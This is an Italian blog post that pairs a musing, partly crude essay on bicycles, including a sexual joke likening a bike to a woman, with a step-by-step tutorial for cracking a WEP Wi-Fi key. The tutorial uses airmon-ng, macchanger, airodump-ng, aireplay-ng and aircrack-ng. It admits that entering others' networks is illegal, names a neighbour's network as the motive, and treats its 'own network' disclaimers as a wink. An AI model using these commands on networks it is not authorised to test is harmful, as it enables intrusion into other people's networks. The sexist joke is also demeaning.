Allora cominciamo con la definizione matematica.. che cos’e’ una bicicletta.

Un triangolo e due circonferenze e definirla sessualmente ad una donna e’ semplice due circonferenze ed un triangolo e secondo voi perche’ si dice montare in bici?.
Pensateci bene, e’ uno dei mezzi piu’ economici che possiede l’uomo per percorrere lo spazio ad una velocita’ superiore a quella che otterrebbe correndo con le sue sole gambe.

Pero’ anche la bici ha bisogno di gambe, ma per far girare i pedali, per moltiplicare meccanicamente lo sforzo.

La meraviglia della bicicletta e’ che trasforma noi, esseri a tre dimensioni, in bipedi a due dimensioni.

La bicicletta, almeno dal punto di vista fisico, e’ una struttura
bidimensionale…non ha quasi spessore.

La terza dimensione e’ solo quella dei pedali e del manubrio, che e’ il vero punto in cui ci manifestiamo nello spazio (la sella invece, e’ qualcosa di ambiguo, come ha capito benissimo Picasso che l’ha trasformata, col manubrio in una testa di toro).

Ebbene, la cosa meravigliosa delle due ruote, e’ il fatto che noi a cavalcioni della bicicletta scivoliamo sulla pelle del mondo muovendoci tra cielo e terra.. l’aria e’ lo strumento che noi attraversiamo, mentre siamo tangenti alla terra mediante un sottile tubolare rigonfio, quasi una linea.

Negli ultimi anni, la bicicletta si e’ evoluta, tanto e’ vero che come per l’automobile, non esiste piu’ un solo modello..dall’avvento della mountain bike, vera novita’ che invase le nostre citta’ una ventina di
anni fa’..era l’equivalente della Jeep.

La bicicletta quindi ha cambiato forma e dimensione delle gomme della sella e dei componenti ma ha cambiato un modo di vita, siamo tornati su lei con criteri diversi.. prima era considerata un mezzo
di chi non poteva permettersi altro che lei, ora e’ un mezzo che serve per farci andare piu’ veloci, piu’ liberi e con desiderio di muovere questo corpo che ormai non e’ piu’ avvezzo a sforzi e per darci dentro ora anche i meno dotati o piu' pigri si avventurano in posti recondi con la pedalata assistita.

E vai bicicletta, siamo tornati uniti al tuo triangolo e alle tue due circonferenze (per i non competenti due quadrati).

 

 

Bucare reti Wireless...

 

Entrare nelle reti wifi di altri e’ illegale e fatta la premessa dobbiamo risolvere il fatto che in facolta’ i server fanno cagare veramente e il vicino di appartamento bastardo per che cavolo ha ficcato la pass.. quindi a livello studio vediamo di bucarla..o quantomeno tentiamo..

Armiamoci e partite prendete..

1) Un pc portatile con una scheda wireless compatibile con backtrack
2) Un dvd con backtrack che potete scaricare da qui
3) Pazienza e una chiave di rete wep

Inseriamo il dvd di backtrack e facciamolo partire prima di windows una volta terminato il caricamento scriviamo sul terminale: startx

In questo modo si avviera’ la modalità grafica, eccoci finalmente in backtrack.

Iniziamo subito, apriamo il terminale o meglio la console.

Digitiamo subito iwconfig e vediamo come si chiama la nostra scheda wireless (dovrebbe essere wlan0)

Assicuriamoci che il wireless sia spento e cambiamo il nostro indirizzo MAC (ma visto che stiamo testando la nostra rete casalinga non credo sia necessario -.-), scriviamo:

airmon-ng stop wlan0
scriviamo
ifconfig wlan0 down
scriviamo
macchanger -m 00:11:22:33:44:55 wlan0

Abbiamo cambiato il nostro indirizzo mac in 00:11:22:33:44:55 potete anche cambiarlo, l’importante e’ ricordarlo! Anche wlan0 puo’ cambiare dipende dalla scheda wireless.

Adesso accendiamo la scheda wireless scrivendo:
airmon-ng start wlan0

E iniziamo finalmente a scannerizzare la zona per cercare LA RETE DI CASA NOSTRA e digitiamo:
airodump-ng wlan0

Ora compare la schermata con tutte le reti wifi che il nostro pc riesce a rilevare, scegliamo quella che dobbiamo bucare IN QUESTO CASO QUELLA NOSTRA PERCHE’ DOBBIAMO TESTARLA.

Quindi una volta che compare la rete che ci interessa premiamo control+c e il processo dovrebbe stopparsi.

Ora prendiamo carta e penna e segniamo il canale (CH) il BSSID e anche l’ESSID della nostra rete.

Digitiamo adesso questo comando; (le parentesi dovranno essere sostituite con i vostri dati):

airodump-ng -c (CH) -w sme –bssid (BSSID) wlan0

In questo modo “spiamo” solo la nostra rete, quindi sostituite CH e BSSID con i vostri dati e dove c’e’ scritto sme potete lasciarlo cosi’ o mettere un nome qualunque, l’importante e’ che lo ricordiate.

Adesso apriamo un altra console/terminale e scriviamo:

aireplay-ng -1 0 -a (BSSID) -h 00:11:22:33:44:55 -e (ESSID) wlan0

se siete fortunati dovrebbe uscire scritto “autenticazione riuscita”; comunque date anche questo comando:

aireplay-ng -3 -b (BSSID) -h 00:11:22:33:44:55 wlan0

se tutto va per il verso giusto diamo il comando:

aircrack-ng -n 64 -b (BSSID) sme-01.cap

e dovrebbe comparire la chiave di rete; togliete i due punti che dividono a due a due la password e.. il buco e’ fatto.

Stretta la foglia, larga la via, bucate la vostra che io buco la mia.

Concludiamo il post con la striscia agostiniana dello Ste e l'illustrazione dei problemi famigliari..